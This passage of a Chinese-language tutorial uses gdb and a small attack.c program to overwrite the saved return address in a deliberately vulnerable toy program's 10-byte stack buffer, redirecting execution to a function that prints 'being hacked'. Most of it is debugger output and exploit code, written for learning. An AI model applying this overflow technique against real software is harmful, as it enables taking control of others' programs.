0x08048429
0x0804842c
0x0804842f
0x08048430
0x08048432
0x08048433
0x08048436
0x08048439
0x0804843c
0x0804843e
0x08048441
0x08048446
0x0804844b
0x0804844e
0x0804844f
0x08048450
0x08048453
End of assembler dump.
(gdb)
gdb返汇编了copyout3,bar,main,个函数,可以获得3个函数的起始地址,比如我们需要跳到的
bar 函数是0x08048411 的位置,我们要设法把 eip 变成这个值,方法可以直接往 copyout里面10个字节大小的缓冲区填充,让它溢出,把返回的 eip 地址覆盖成 0x08048411,就可以完成革命任务了!
我们在 main 函数处设置断点,然后单步跟踪,看看copyout怎么申明内存空间怎么复制的:)
//设置断点
(gdb) break main
Breakpoint 1 at 0x8048425: file lab1.c, line 17.
//运行,参数是7个字符的dorainm
(gdb) run dorainm dorainm为参数
The program being debugged has been started already.
Start it from the beginning? (y or n) y
warning: cannot close "shared object read from target memory": 文件格式错误
Starting program: /home/dorainm/studio/c/exploit/mine/lab1/lab1 dorainm
Reading symbols from shared object read from target memory...done.
Loaded system supplied DSO at 0x323000
Breakpoint 1, main (argc=Cannot access memory at address 0xa2203d7
) at lab1.c:17
17 {
//开始单步跟踪
(gdb) step
main (argc=2, argv=0xbf8a99a4) at lab1.c:18
18 copyout(argv[1]);
//现在我们在main函数里面,argc值是2,main函数的行参在esp入栈后,然后call主函数main的,我们查看寄存器状态可以看到
(gdb) i r
eax 0xbf8a99a4 -1081435740
ecx 0xbf8a9920 -1081435872
edx 0x2 2
ebx 0x9edff4 10412020
esp 0xbf8a9900 0xbf8a9900
ebp 0xbf8a9908 0xbf8a9908
esi 0x8b7cc0 9141440
edi 0x0 0
eip 0x8048436 0x8048436
//main函数中的0x08048436
eflags 0x200286 2097798
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
//进入copyout之后
//0x08048441
(gdb) step
copyout (input=0xbf8ab97a "dorainm") at lab1.c:7
7 strcpy(buf,input);
//看看寄存器的变化
(gdb) i r
eax 0xbf8ab97a -1081427590
ecx 0xbf8a9920 -1081435872
edx 0x2 2
ebx 0x9edff4 10412020
esp 0xbf8a98e0 0xbf8a98e0
//另一个要关心的就是 esp了,我们看看copyout的ret返回main函数下一条指令的0x08048446
0x08048446 在栈中的位置,我们在下一步查看esp上下的内存单位
寄存器EBP、ESP、BP和SP称为指针寄存器(Pointer Register),
主要用于存放堆栈内存储单元的偏移量,用它们可实现多种存储器操作数的寻址方式,为以不同的地址形式访问存储单元提供方便。
ebp 0xbf8a98f8 0xbf8a98f8
esi 0x8b7cc0 9141440
edi 0x0 0
eip 0x80483ea 0x80483ea
//变成了copyout里面的0x080483ea
指令指针EIP、IP(Instruction Pointer)是存放下次将要执行的指令在代码段的偏移量。
在具有预取指令功能的系统中,下次要执行的指令通常已被预取到指令队列中,除非发生转移情况。所以,在理解它们的功能时,不考虑存在指令队列的情况。
eflags 0x200282 2097794
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
---------------------------
检查内存值
x /NFU ADDR
---------------------------
N代表重复数
---------------------------
U
b :字节(byte)
h :双字节数值
w :四字节数值
g :八字节数值
---------------------------
F
'x' 16进制整数格式
'd' 有符号十进制整数格式
'u' 无符号十进制整数格式
'f' 浮点数格式
---------------------------
(gdb) x/50x 0xbf8a98a0 从0xbf8a98a0开始显示重复50个 x为16进制
0xbf8a98a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbf8a98b0: 0x00000000 0x0177ff8e 0x00000000 0x00000000
0xbf8a98c0: 0x00000000 0x00000000 0x00000001 0x00000000
0xbf8a98d0: 0x00000000 0x00000000 0xbf8ab94c 0x08048370
//这儿就是栈顶了
0xbf8a98e0: 0x009edff4 0x080495f8 0xbf8a98f8 0x080482dd
0xbf8a98f0: 0x009eec80 0xbf8a99b0 0xbf8a9908 0x08048446
//上排最后一个,就是栈中保存着eip的位置,我们要覆盖到这个地址!
0xbf8a9900: 0xbf8ab97a 0xbf8a9920 0xbf8a9978 0x008d47e4
0xbf8a9910: 0x008b7cc0 0x0804845c 0xbf8a9978 0x008d47e4
0xbf8a9920: 0x00000002 0xbf8a99a4 0xbf8a99b0 0x008ab5bb
0xbf8a9930: 0x00000000 0xb7fac690 0x00000001 0x00000001
0xbf8a9940: 0x009edff4 0x008b7cc0 0x00000000 0xbf8a9978
0xbf8a9950: 0xb525dd5e 0x0a2203d7 0x00000000 0x00000000
0xbf8a9960: 0x00000000 0x008b09e0
//执行了strcpy,我们可以看到,dorianm被复制到的栈中的位置
(gdb) step 单步进到copyout方法中
8 printf("%s \n",buf);
(gdb) x/50x 0xbf8a98a0
0xbf8a98a0: 0x00000000 0x0804822a 0x00000000 0x08049614
0xbf8a98b0: 0x008c26d4 0x009edff4 0x008b7cc0 0x00000000
0xbf8a98c0: 0xbf8a98f8 0x008b09e0 0x00000002 0xbf8a9920
0xbf8a98d0: 0x00928b10 0x008b7cc0 0xbf8a98f8 0x080483fc
0xbf8a98e0: 0xbf8a98ee 0xbf8ab97a 0xbf8a98f8 0x6f6482dd
od dorainm输入的参数
0xbf8a98f0: 0x6e696172 0xbf8a006d 0xbf8a9908 0x08048446
niar m ebp eip
main方法中的
0x08048441
0x08048446
//dorainm被复制到栈的位置是这样子的,可以看出
//0xbf8a98ee-0xbf8a98f8 10个内存单元是char buf[10],接下来是保护现场入栈的ebp和eip
0xbf8a9900: 0xbf8ab97a 0xbf8a9920 0xbf8a9978 0x008d47e4
0xbf8a9910: 0x008b7cc0 0x0804845c 0xbf8a9978 0x008d47e4
0xbf8a9920: 0x00000002 0xbf8a99a4 0xbf8a99b0 0x008ab5bb
0xbf8a9930: 0x00000000 0xb7fac690 0x00000001 0x00000001
0xbf8a9940: 0x009edff4 0x008b7cc0 0x00000000 0xbf8a9978
0xbf8a9950: 0xb525dd5e 0x0a2203d7 0x00000000 0x00000000
0xbf8a9960: 0x00000000 0x008b09e0
//我们要自己构建一个19大小的字符串(最后一个单元为0,不然printf打印字符串的时候,不知道会在哪地方结束:),其中最后4位是 bar的入口eip,这样子,在copyout结束时,ret,pop eip,bar的地址就会写到eip中,程序就会运行bar函数了
//我们退出调试,编写攻击代码
(gdb)quit
[dorainm@dorainm lab1]$ vi attack.c
#include "stdio.h"
char code[]=
"\x41\x41\x41\x41\x41" /*buf, fill with 'A'*/
"\x41\x41\x41\x41\x41"
"\x42\x42\x42\x42" /*ebp, fill with 'B'*/
"\x11\x84\x04\x08" /*eip*/ 先写低位
"\x00"; /*end*/
int main(void)
{
char *arg[3];
arg[0]="./lab1";
arg[1]=code;
arg[2]=NULL;
execve(arg[0],arg,NULL);
return 0;
}
//然后编译程序
[dorainm@dorainm lab1]$ gcc attack.c -o attack
//运行攻击程序
[dorainm@dorainm lab1]$ ./attack
AAAAAAAAAABBBB
being hacked
段错误
//okay,攻击成功,执行了bar当中的代码(显示了being hacked)
//段错误的原因是,调用bar函数时候,没有保存其父函数的现场,所以没法恢复,程序在完成bar函数后,就不知道要去哪,所以出错:)
[dorainm@dorainm lab1]$
//结束,完成任